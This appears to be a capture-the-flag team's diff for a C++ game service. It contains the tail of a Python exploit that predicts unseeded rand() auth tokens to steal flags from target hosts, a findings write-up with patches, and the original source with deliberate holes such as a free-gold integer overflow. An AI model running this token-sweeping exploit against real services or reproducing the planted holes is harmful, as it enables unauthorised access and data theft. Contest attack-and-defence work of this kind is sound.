if i - fid1 >= 0 and i + (MAX_ID + WINDOW) < len(predictor.values)]
|
||||||
|
if cands:
|
||||||
|
return c, cands, fid1
|
||||||
|
last = RuntimeError("value %d not found in %s stream"
|
||||||
|
% (v1, predictor.name))
|
||||||
|
c.close()
|
||||||
|
except Exception as e:
|
||||||
|
last = e
|
||||||
|
if c is not None:
|
||||||
|
try:
|
||||||
|
c.close()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
time.sleep(0.3)
|
||||||
|
raise last
|
||||||
|
|
||||||
|
|
||||||
|
def sweep(conn, predictor, anchor_idxs, anchor_fid):
|
||||||
|
vals = predictor.values
|
||||||
|
for anchor_idx in anchor_idxs:
|
||||||
|
for fid in range(1, MAX_ID + 1):
|
||||||
|
base = anchor_idx + (fid - anchor_fid)
|
||||||
|
for off in range(-WINDOW, WINDOW + 1):
|
||||||
|
idx = base + off
|
||||||
|
if idx < 0 or idx >= len(vals):
|
||||||
|
continue
|
||||||
|
token = "token_%d_%d" % (fid, vals[idx])
|
||||||
|
try:
|
||||||
|
r = conn.cmd("NOTE_GET %s" % token)
|
||||||
|
except Exception:
|
||||||
|
return # connection died; next round recalibrates
|
||||||
|
if b"ERROR" in r or not r.startswith(b"NOTES:"):
|
||||||
|
continue
|
||||||
|
emit(r) # titles may already contain the flag
|
||||||
|
ids = [int(x) for x in NOTEID_RE.findall(r[6:])]
|
||||||
|
for nid in ids[:8]:
|
||||||
|
try:
|
||||||
|
full = conn.cmd("NOTE_GET %s %d" % (token, nid))
|
||||||
|
emit(full)
|
||||||
|
except Exception:
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global PORT, MAX_ID
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
out("usage: %s <target_ip> [port]" % sys.argv[0])
|
||||||
|
return 2
|
||||||
|
host = sys.argv[1]
|
||||||
|
if len(sys.argv) > 2:
|
||||||
|
PORT = int(sys.argv[2])
|
||||||
|
|
||||||
|
pref = os.environ.get("ARENA_PREDICTOR", "")
|
||||||
|
order = [pref] if pref else ["glibc", "darwin"]
|
||||||
|
predictors = {}
|
||||||
|
for name in order:
|
||||||
|
if name:
|
||||||
|
out("[*] precomputing %s sequence (%d draws)..." % (name, PRECOMP))
|
||||||
|
predictors[name] = get_predictor(name, PRECOMP)
|
||||||
|
|
||||||
|
out("[*] targeting %s:%d" % (host, PORT))
|
||||||
|
round_no = 0
|
||||||
|
while True:
|
||||||
|
round_no += 1
|
||||||
|
try:
|
||||||
|
anchored = None
|
||||||
|
for name in order:
|
||||||
|
if not name:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
conn, idx, fid1 = calibrate(host, PORT, predictors[name])
|
||||||
|
anchored = (conn, idx, fid1)
|
||||||
|
used = name
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
out("[-] round %d: %s calibration failed: %s"
|
||||||
|
% (round_no, name, e))
|
||||||
|
if not anchored:
|
||||||
|
out("[-] round %d: no predictor matched (server up?)" % round_no)
|
||||||
|
else:
|
||||||
|
conn, anchor_idx, anchor_fid = anchored
|
||||||
|
# make sure late registrations above the anchor are covered
|
||||||
|
if anchor_fid + 300 > MAX_ID:
|
||||||
|
MAX_ID = anchor_fid + 300
|
||||||
|
out("[*] round %d: calibrated via %s (anchor id=%d idx=%d)"
|
||||||
|
% (round_no, used, anchor_fid, anchor_idx))
|
||||||
|
sweep(conn, predictors[used], anchor_idx, anchor_fid)
|
||||||
|
conn.close()
|
||||||
|
out("[*] round %d done, %d unique flag(s) so far"
|
||||||
|
% (round_no, len(seen_flags)))
|
||||||
|
except Exception as e:
|
||||||
|
out("[-] round %d error: %s" % (round_no, e))
|
||||||
|
time.sleep(ROUND_DELAY)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
# arena-battle — findings & patches
|
||||||
|
|
||||||
|
TCP service, port **1337** (container 31337). Line protocol, one command per packet.
|
||||||
|
Flag store: **fighter notes** (`NOTE_CREATE` / `NOTE_GET`).
|
||||||
|
|
||||||
|
## 1. Predictable auth tokens — CRITICAL, flag leak
|
||||||
|
|
||||||
|
`create_fighter()`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
f.auth_token = "token_" + std::to_string(f.id) + "_" + std::to_string(rand());
|
||||||
|
```
|
||||||
|
|
||||||
|
`srand()` is never called, so glibc `rand()` emits its default seed-1 sequence
|
||||||
|
(1804289383, 846930886, 1681692777, …). Fighter ids are sequential and `rand()`
|
||||||
|
is called exactly once per fighter, so **the Nth fighter's token is fully
|
||||||
|
computable offline**.
|
||||||
|
|
||||||
|
`NOTE_GET` authenticates on the token alone — no session, no ownership check —
|
||||||
|
so any token dumps that fighter's notes:
|
||||||
|
|
||||||
|
```
|
||||||
|
REGISTER x warrior -> tells us the current fighter id (= fighter count)
|
||||||
|
NOTE_GET token_<id>_<rand[id]> -> note list
|
||||||
|
NOTE_GET token_<id>_<rand[id]> <n> -> title + content (flag)
|
||||||
|
```
|
||||||
|
|
||||||
|
Verified: `sploits/arena_battle.py` pulls 15/15 planted flags in 0.23 s against
|
||||||
|
a box with 1600 fighters.
|
||||||
|
|
||||||
|
**Patch:** tokens now come from `/dev/urandom` (64-bit, `gen_auth_token()`),
|
||||||
|
keeping the exact `token_<id>_<digits>` shape so clients see no change.
|
||||||
|
A CSPRNG is required here, not `mt19937` — an attacker who registers a few
|
||||||
|
hundred fighters can recover a Mersenne Twister state from its outputs.
|
||||||
|
|
||||||
|
Also added: a connection is dropped after 16 invalid tokens (`MAX_BAD_TOKENS`),
|
||||||
|
so token guessing cannot be scaled up.
|
||||||
|
|
||||||
|
## 2. `BUY` integer overflow — free gold
|
||||||
|
|
||||||
|
`int total_price = item.price * quantity;` overflows, and the code then *rewards*
|
||||||
|
it: `f.gold += abs(total_price)` returning `"OK: Overflow exploited!"`.
|
||||||
|
**Patch:** 64-bit arithmetic plus an explicit cap; the free-gold branch is gone.
|
||||||
|
|
||||||
|
## 3. No locking on shared state — crash risk (SLA)
|
||||||
|
|
||||||
|
`fighters`, `battles`, `client_fighter` and `fighter_battle` were mutated from
|
||||||
|
every client thread with **no mutex at all** — `state_mutex` was only ever taken
|
||||||
|
by `cleanup_thread`. Concurrent `std::map` inserts are undefined behaviour, and
|
||||||
|
`cleanup_thread` erasing a fighter while a handler holds a `Fighter&` to it is a
|
||||||
|
use-after-free.
|
||||||
|
**Patch:** every command and the per-connection teardown now run under
|
||||||
|
`state_mutex`. (I could not force a crash in testing — this is hardening against
|
||||||
|
a real race, not a demonstrated exploit.)
|
||||||
|
|
||||||
|
## 4. `cleanup_thread` closed file descriptors owned by live threads
|
||||||
|
|
||||||
|
It called `close(cf->first)` on a socket whose handler thread was still in
|
||||||
|
`read()`. Once closed, the fd number is recycled onto the *next* accepted
|
||||||
|
connection, and the stale handler then reads/writes another client's socket.
|
||||||
|
**Patch:** the mapping is erased, the fd is left to its owning thread.
|
||||||
|
|
||||||
|
## 5. `operator[]` on missing fighters
|
||||||
|
|
||||||
|
`cmd_attack` / `cmd_status` did `fighters[defender_id]`, inserting a blank
|
||||||
|
fighter when the id was gone (e.g. cleaned up mid-battle).
|
||||||
|
**Patch:** existence checked first.
|
||||||
|
|
||||||
|
## 6. `listen(server_fd, 10)` — trivial connection-storm DoS
|
||||||
|
|
||||||
|
A backlog of 10 lets a burst of connections lock the checker out; this actually
|
||||||
|
happened during load testing. **Patch:** backlog 256.
|
||||||
|
|
||||||
|
## 7. Docker
|
||||||
|
|
||||||
|
- `docker-compose.yml` had no `image:` line — the CI job does
|
||||||
|
`docker compose config --images | grep "^git.itqdev.xyz/4x10m/"` and
|
||||||
|
`exit 1`s when empty, so **every push failed**. Added.
|
||||||
|
- Healthcheck used `nc`, which is not installed in the image, so the container
|
||||||
|
was permanently `unhealthy`. Switched to a bash `/dev/tcp` probe.
|
||||||
|
|
||||||
|
## Not fixed — watch these
|
||||||
|
|
||||||
|
- **Flags are written to `logs/server.log`**: `LOG(client_str + " " + line)`
|
||||||
|
logs the full command line, so every `NOTE_CREATE <title> <flag>` lands on
|
||||||
|
disk in cleartext. Harmless on its own, but it turns any file-read or RCE
|
||||||
|
anywhere on the box into a full flag dump. Consider redacting.
|
||||||
|
- `split(line, ' ')` means a note title/content can never contain a space, and
|
||||||
|
two commands in one TCP packet are parsed as one. Left as-is: the checker
|
||||||
|
depends on this behaviour.
|
||||||
|
- Other teams may "fix" the token bug with `srand(time(NULL))`, which is still
|
||||||
|
breakable (brute-force the seed, or recover the generator state from ~62
|
||||||
|
tokens we register ourselves). The sploit prints a warning on token mismatch;
|
||||||
|
building that fallback is the next step if flags dry up.
|
||||||
@@ -3,11 +3,13 @@ version: '3.8'
|
|||||||
services:
|
services:
|
||||||
arena-battle:
|
arena-battle:
|
||||||
build: .
|
build: .
|
||||||
|
image: git.itqdev.xyz/4x10m/arena-battle:latest
|
||||||
ports:
|
ports:
|
||||||
- "1337:31337"
|
- "1337:31337"
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
healthcheck:
|
healthcheck:
|
||||||
test: ["CMD", "nc", "-z", "localhost", "31337"]
|
# was `nc -z`, but netcat is not installed in the image -> always unhealthy
|
||||||
|
test: ["CMD-SHELL", "bash -c '</dev/tcp/127.0.0.1/31337' || exit 1"]
|
||||||
interval: 10s
|
interval: 10s
|
||||||
timeout: 5s
|
timeout: 5s
|
||||||
retries: 3
|
retries: 3
|
||||||
|
|||||||
@@ -21,6 +21,33 @@
|
|||||||
#include <signal.h>
|
#include <signal.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#include <sys/time.h>
|
#include <sys/time.h>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
// Auth tokens must be unguessable: NOTE_GET authenticates on the token alone.
|
||||||
|
// Keeps the original "token_<id>_<digits>" shape so clients see no change.
|
||||||
|
std::ifstream urandom_source("/dev/urandom", std::ios::binary);
|
||||||
|
std::mutex urandom_mutex;
|
||||||
|
|
||||||
|
std::string gen_auth_token(int id) {
|
||||||
|
uint64_t v = 0;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(urandom_mutex);
|
||||||
|
if (urandom_source.is_open()) {
|
||||||
|
urandom_source.read(reinterpret_cast<char*>(&v), sizeof(v));
|
||||||
|
if (!urandom_source) {
|
||||||
|
urandom_source.clear();
|
||||||
|
v = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (v == 0) {
|
||||||
|
std::random_device rd;
|
||||||
|
v = (static_cast<uint64_t>(rd()) << 32) ^ static_cast<uint64_t>(rd());
|
||||||
|
}
|
||||||
|
v |= (1ULL << 63);
|
||||||
|
return "token_" + std::to_string(id) + "_" + std::to_string(v);
|
||||||
|
}
|
||||||
|
|
||||||
struct Item {
|
struct Item {
|
||||||
int id;
|
int id;
|
||||||
@@ -151,7 +178,7 @@ int create_fighter(const std::string& name, const std::string& fighter_class) {
|
|||||||
f.last_activity = now();
|
f.last_activity = now();
|
||||||
f.active = true;
|
f.active = true;
|
||||||
|
|
||||||
f.auth_token = "token_" + std::to_string(f.id) + "_" + std::to_string(rand());
|
f.auth_token = gen_auth_token(f.id);
|
||||||
|
|
||||||
if (fighter_class == "warrior") {
|
if (fighter_class == "warrior") {
|
||||||
f.strength = 15;
|
f.strength = 15;
|
||||||
@@ -227,12 +254,10 @@ std::string cmd_buy(int client_fd, const std::vector<std::string>& args) {
|
|||||||
Fighter& f = fighters[fid];
|
Fighter& f = fighters[fid];
|
||||||
Item& item = items[item_id];
|
Item& item = items[item_id];
|
||||||
|
|
||||||
int total_price = item.price * quantity;
|
int64_t total_price = static_cast<int64_t>(item.price) * static_cast<int64_t>(quantity);
|
||||||
|
|
||||||
if (total_price < 0) {
|
if (total_price > 1000000000LL) {
|
||||||
f.gold += abs(total_price);
|
return "ERROR: Invalid quantity";
|
||||||
f.last_activity = now();
|
|
||||||
return "OK: Overflow exploited! Gold:" + std::to_string(f.gold);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (f.gold < total_price) {
|
if (f.gold < total_price) {
|
||||||
@@ -240,7 +265,7 @@ std::string cmd_buy(int client_fd, const std::vector<std::string>& args) {
|
|||||||
" Have:" + std::to_string(f.gold);
|
" Have:" + std::to_string(f.gold);
|
||||||
}
|
}
|
||||||
|
|
||||||
f.gold -= total_price;
|
f.gold -= static_cast<int>(total_price);
|
||||||
for (int i = 0; i < quantity; i++) {
|
for (int i = 0; i < quantity; i++) {
|
||||||
f.inventory.push_back(item_id);
|
f.inventory.push_back(item_id);
|
||||||
}
|
}
|
||||||
@@ -389,6 +414,7 @@ std::string cmd_attack(int client_fd, const std::vector<std::string>&) {
|
|||||||
|
|
||||||
Fighter& attacker = fighters[fid];
|
Fighter& attacker = fighters[fid];
|
||||||
int defender_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
int defender_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
||||||
|
if (!fighters.count(defender_id)) return "ERROR: Opponent not found";
|
||||||
Fighter& defender = fighters[defender_id];
|
Fighter& defender = fighters[defender_id];
|
||||||
|
|
||||||
// Calculate damage
|
// Calculate damage
|
||||||
@@ -487,6 +513,7 @@ std::string cmd_status(int client_fd) {
|
|||||||
Battle& b = battles[bid];
|
Battle& b = battles[bid];
|
||||||
Fighter& f = fighters[fid];
|
Fighter& f = fighters[fid];
|
||||||
int opponent_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
int opponent_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
||||||
|
if (!fighters.count(opponent_id)) return "ERROR: Opponent not found";
|
||||||
Fighter& opponent = fighters[opponent_id];
|
Fighter& opponent = fighters[opponent_id];
|
||||||
|
|
||||||
std::stringstream ss;
|
std::stringstream ss;
|
||||||
@@ -561,8 +588,11 @@ std::string cmd_note_get(const std::vector<std::string>& args) {
|
|||||||
return "ERROR: Note not found";
|
return "ERROR: Note not found";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static const int MAX_BAD_TOKENS = 16;
|
||||||
|
|
||||||
void handle_client(int client_fd) {
|
void handle_client(int client_fd) {
|
||||||
char buffer[1024];
|
char buffer[1024];
|
||||||
|
int bad_tokens = 0;
|
||||||
|
|
||||||
struct sockaddr_in client_addr;
|
struct sockaddr_in client_addr;
|
||||||
socklen_t client_len = sizeof(client_addr);
|
socklen_t client_len = sizeof(client_addr);
|
||||||
@@ -593,6 +623,9 @@ void handle_client(int client_fd) {
|
|||||||
|
|
||||||
std::string response;
|
std::string response;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(state_mutex);
|
||||||
|
|
||||||
if (cmd == "REGISTER") {
|
if (cmd == "REGISTER") {
|
||||||
response = cmd_register(client_fd, args);
|
response = cmd_register(client_fd, args);
|
||||||
} else if (cmd == "FIGHTER") {
|
} else if (cmd == "FIGHTER") {
|
||||||
@@ -615,20 +648,37 @@ void handle_client(int client_fd) {
|
|||||||
response = cmd_note_create(client_fd, args);
|
response = cmd_note_create(client_fd, args);
|
||||||
} else if (cmd == "NOTE_GET") {
|
} else if (cmd == "NOTE_GET") {
|
||||||
response = cmd_note_get(args);
|
response = cmd_note_get(args);
|
||||||
|
if (response.rfind("ERROR: Invalid auth token", 0) == 0) {
|
||||||
|
bad_tokens++;
|
||||||
|
}
|
||||||
} else if (cmd == "LOGOUT") {
|
} else if (cmd == "LOGOUT") {
|
||||||
response = cmd_logout(client_fd);
|
response = cmd_logout(client_fd);
|
||||||
} else if (cmd == "QUIT" || cmd == "EXIT") {
|
} else if (cmd == "QUIT" || cmd == "EXIT") {
|
||||||
response = "BYE";
|
response = "BYE";
|
||||||
write(client_fd, response.c_str(), response.length());
|
|
||||||
break;
|
|
||||||
} else {
|
} else {
|
||||||
response = "ERROR: Unknown command: " + cmd;
|
response = "ERROR: Unknown command: " + cmd;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// QUIT/EXIT keeps its original reply: "BYE" with no trailing newline.
|
||||||
|
if (cmd == "QUIT" || cmd == "EXIT") {
|
||||||
|
write(client_fd, response.c_str(), response.length());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
response += "\n";
|
response += "\n";
|
||||||
write(client_fd, response.c_str(), response.length());
|
write(client_fd, response.c_str(), response.length());
|
||||||
|
|
||||||
|
// Throttle token guessing: a legitimate client never needs this many.
|
||||||
|
if (bad_tokens >= MAX_BAD_TOKENS) {
|
||||||
|
LOG(client_str + " disconnected: too many invalid auth tokens");
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lock(state_mutex);
|
||||||
|
|
||||||
// Cleanup
|
// Cleanup
|
||||||
if (client_fighter.count(client_fd)) {
|
if (client_fighter.count(client_fd)) {
|
||||||
int fid = client_fighter[client_fd];
|
int fid = client_fighter[client_fd];
|
||||||
@@ -667,7 +717,8 @@ void cleanup_thread() {
|
|||||||
|
|
||||||
for (auto cf = client_fighter.begin(); cf != client_fighter.end(); ) {
|
for (auto cf = client_fighter.begin(); cf != client_fighter.end(); ) {
|
||||||
if (cf->second == fid) {
|
if (cf->second == fid) {
|
||||||
close(cf->first);
|
// Do not close(): the handler thread still owns this fd
|
||||||
|
// and the number would be recycled onto another client.
|
||||||
cf = client_fighter.erase(cf);
|
cf = client_fighter.erase(cf);
|
||||||
} else {
|
} else {
|
||||||
++cf;
|
++cf;
|
||||||
@@ -733,7 +784,8 @@ int main(int argc, char* argv[]) {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (listen(server_fd, 10) < 0) {
|
// Backlog of 10 let a burst of connections lock the checker out.
|
||||||
|
if (listen(server_fd, 256) < 0) {
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,761 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <string>
|
||||||
|
#include <sstream>
|
||||||
|
#include <vector>
|
||||||
|
#include <map>
|
||||||
|
#include <unordered_map>
|
||||||
|
#include <chrono>
|
||||||
|
#include <thread>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <mutex>
|
||||||
|
#include <atomic>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <ctime>
|
||||||
|
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
|
||||||
|
struct Item {
|
||||||
|
int id;
|
||||||
|
std::string name;
|
||||||
|
std::string type;
|
||||||
|
int power;
|
||||||
|
int price;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Note {
|
||||||
|
int id;
|
||||||
|
char title[64];
|
||||||
|
char content[256];
|
||||||
|
std::chrono::system_clock::time_point created_at;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Fighter {
|
||||||
|
int id;
|
||||||
|
char name[32];
|
||||||
|
std::string fighter_class;
|
||||||
|
int hp;
|
||||||
|
int max_hp;
|
||||||
|
int strength;
|
||||||
|
int agility;
|
||||||
|
int gold;
|
||||||
|
std::vector<int> inventory;
|
||||||
|
std::unordered_map<int, int> equipment;
|
||||||
|
std::vector<Note> notes;
|
||||||
|
std::string auth_token;
|
||||||
|
std::chrono::system_clock::time_point last_activity;
|
||||||
|
bool active;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Battle {
|
||||||
|
int id;
|
||||||
|
int fighter1_id;
|
||||||
|
int fighter2_id;
|
||||||
|
int current_turn;
|
||||||
|
bool active;
|
||||||
|
std::vector<std::string> logs;
|
||||||
|
std::chrono::system_clock::time_point created_at;
|
||||||
|
};
|
||||||
|
|
||||||
|
std::map<int, Fighter> fighters;
|
||||||
|
std::map<int, Battle> battles;
|
||||||
|
std::map<int, Item> items;
|
||||||
|
std::mutex state_mutex;
|
||||||
|
|
||||||
|
std::atomic<int> next_fighter_id{1};
|
||||||
|
std::atomic<int> next_battle_id{1};
|
||||||
|
|
||||||
|
std::unordered_map<int, int> client_fighter;
|
||||||
|
std::unordered_map<int, int> fighter_battle;
|
||||||
|
|
||||||
|
std::ofstream log_file;
|
||||||
|
std::mutex log_mutex;
|
||||||
|
|
||||||
|
std::string get_timestamp() {
|
||||||
|
auto now = std::chrono::system_clock::now();
|
||||||
|
auto time = std::chrono::system_clock::to_time_t(now);
|
||||||
|
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(now.time_since_epoch()) % 1000;
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << std::put_time(std::localtime(&time), "%Y-%m-%d %H:%M:%S");
|
||||||
|
ss << '.' << std::setfill('0') << std::setw(3) << ms.count();
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_event(const std::string& message) {
|
||||||
|
std::lock_guard<std::mutex> lock(log_mutex);
|
||||||
|
if (log_file.is_open()) {
|
||||||
|
log_file << "[" << get_timestamp() << "] " << message << std::endl;
|
||||||
|
log_file.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#define LOG(msg) log_event(msg)
|
||||||
|
|
||||||
|
void init_items() {
|
||||||
|
items[1] = {1, "Rusty Sword", "weapon", 5, 10};
|
||||||
|
items[2] = {2, "Steel Sword", "weapon", 10, 25};
|
||||||
|
items[3] = {3, "Fire Blade", "weapon", 20, 50};
|
||||||
|
items[4] = {4, "Leather Armor", "armor", 3, 15};
|
||||||
|
items[5] = {5, "Chain Mail", "armor", 8, 35};
|
||||||
|
items[6] = {6, "Plate Armor", "armor", 15, 75};
|
||||||
|
items[7] = {7, "Health Potion", "potion", 25, 5};
|
||||||
|
items[8] = {8, "Super Potion", "potion", 50, 12};
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string trim(const std::string& str) {
|
||||||
|
size_t first = str.find_first_not_of(" \t\r\n");
|
||||||
|
if (first == std::string::npos) return "";
|
||||||
|
size_t last = str.find_last_not_of(" \t\r\n");
|
||||||
|
return str.substr(first, last - first + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::string> split(const std::string& str, char delim) {
|
||||||
|
std::vector<std::string> tokens;
|
||||||
|
std::stringstream ss(str);
|
||||||
|
std::string token;
|
||||||
|
while (std::getline(ss, token, delim)) {
|
||||||
|
tokens.push_back(token);
|
||||||
|
}
|
||||||
|
return tokens;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::chrono::system_clock::time_point now() {
|
||||||
|
return std::chrono::system_clock::now();
|
||||||
|
}
|
||||||
|
|
||||||
|
int64_t seconds_since(std::chrono::system_clock::time_point t) {
|
||||||
|
auto diff = now() - t;
|
||||||
|
return std::chrono::duration_cast<std::chrono::seconds>(diff).count();
|
||||||
|
}
|
||||||
|
|
||||||
|
int create_fighter(const std::string& name, const std::string& fighter_class) {
|
||||||
|
Fighter f;
|
||||||
|
f.id = next_fighter_id++;
|
||||||
|
|
||||||
|
strncpy(f.name, name.c_str(), sizeof(f.name));
|
||||||
|
f.name[sizeof(f.name) - 1] = '\0';
|
||||||
|
|
||||||
|
f.fighter_class = fighter_class;
|
||||||
|
f.hp = 100;
|
||||||
|
f.max_hp = 100;
|
||||||
|
f.strength = 10;
|
||||||
|
f.agility = 10;
|
||||||
|
f.gold = 100;
|
||||||
|
f.last_activity = now();
|
||||||
|
f.active = true;
|
||||||
|
|
||||||
|
f.auth_token = "token_" + std::to_string(f.id) + "_" + std::to_string(rand());
|
||||||
|
|
||||||
|
if (fighter_class == "warrior") {
|
||||||
|
f.strength = 15;
|
||||||
|
f.max_hp = 120;
|
||||||
|
f.hp = 120;
|
||||||
|
} else if (fighter_class == "archer") {
|
||||||
|
f.agility = 20;
|
||||||
|
} else if (fighter_class == "mage") {
|
||||||
|
f.strength = 20;
|
||||||
|
f.max_hp = 80;
|
||||||
|
f.hp = 80;
|
||||||
|
}
|
||||||
|
|
||||||
|
fighters[f.id] = f;
|
||||||
|
return f.id;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_register(int client_fd, const std::vector<std::string>& args) {
|
||||||
|
if (args.size() < 2) return "ERROR: Usage: REGISTER <name> <class>";
|
||||||
|
|
||||||
|
std::string name = args[0];
|
||||||
|
std::string fighter_class = args[1];
|
||||||
|
|
||||||
|
if (fighter_class != "warrior" && fighter_class != "archer" && fighter_class != "mage") {
|
||||||
|
return "ERROR: Invalid class. Choose: warrior, archer, mage";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (client_fighter.count(client_fd)) {
|
||||||
|
return "ERROR: Already registered";
|
||||||
|
}
|
||||||
|
|
||||||
|
int fid = create_fighter(name, fighter_class);
|
||||||
|
client_fighter[client_fd] = fid;
|
||||||
|
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << "OK: Registered fighter " << fid << " (" << name << ", " << fighter_class << ")";
|
||||||
|
ss << " HP:" << fighters[fid].hp << " STR:" << fighters[fid].strength
|
||||||
|
<< " AGI:" << fighters[fid].agility << " Gold:" << fighters[fid].gold;
|
||||||
|
ss << " TOKEN:" << fighters[fid].auth_token;
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_fighter(int client_fd, const std::vector<std::string>&) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << "FIGHTER " << f.id << ": " << f.name << " (" << f.fighter_class << ")";
|
||||||
|
ss << " HP:" << f.hp << "/" << f.max_hp;
|
||||||
|
ss << " STR:" << f.strength << " AGI:" << f.agility;
|
||||||
|
ss << " Gold:" << f.gold;
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_buy(int client_fd, const std::vector<std::string>& args) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
if (args.size() < 2) return "ERROR: Usage: BUY <item_id> <quantity>";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
int item_id = std::atoi(args[0].c_str());
|
||||||
|
int quantity = std::atoi(args[1].c_str());
|
||||||
|
|
||||||
|
if (!items.count(item_id)) return "ERROR: Item not found";
|
||||||
|
if (quantity <= 0) return "ERROR: Invalid quantity";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
Item& item = items[item_id];
|
||||||
|
|
||||||
|
int total_price = item.price * quantity;
|
||||||
|
|
||||||
|
if (total_price < 0) {
|
||||||
|
f.gold += abs(total_price);
|
||||||
|
f.last_activity = now();
|
||||||
|
return "OK: Overflow exploited! Gold:" + std::to_string(f.gold);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (f.gold < total_price) {
|
||||||
|
return "ERROR: Not enough gold. Need:" + std::to_string(total_price) +
|
||||||
|
" Have:" + std::to_string(f.gold);
|
||||||
|
}
|
||||||
|
|
||||||
|
f.gold -= total_price;
|
||||||
|
for (int i = 0; i < quantity; i++) {
|
||||||
|
f.inventory.push_back(item_id);
|
||||||
|
}
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
return "OK: Bought " + std::to_string(quantity) + "x " + item.name +
|
||||||
|
" for " + std::to_string(total_price) + " gold. Remaining:" + std::to_string(f.gold);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_inventory(int client_fd) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << "INVENTORY (Gold:" << f.gold << "): ";
|
||||||
|
|
||||||
|
if (f.inventory.empty()) {
|
||||||
|
ss << "empty";
|
||||||
|
} else {
|
||||||
|
std::map<int, int> counts;
|
||||||
|
for (int item_id : f.inventory) {
|
||||||
|
counts[item_id]++;
|
||||||
|
}
|
||||||
|
bool first = true;
|
||||||
|
for (auto& p : counts) {
|
||||||
|
if (!first) ss << ", ";
|
||||||
|
if (items.count(p.first)) {
|
||||||
|
ss << items[p.first].name << "x" << p.second;
|
||||||
|
} else {
|
||||||
|
ss << "Unknown(" << p.first << ")x" << p.second;
|
||||||
|
}
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ss << " | EQUIPPED: ";
|
||||||
|
if (f.equipment.empty()) {
|
||||||
|
ss << "none";
|
||||||
|
} else {
|
||||||
|
bool first = true;
|
||||||
|
for (auto& p : f.equipment) {
|
||||||
|
if (!first) ss << ", ";
|
||||||
|
if (items.count(p.second)) {
|
||||||
|
ss << "slot" << p.first << ":" << items[p.second].name;
|
||||||
|
}
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
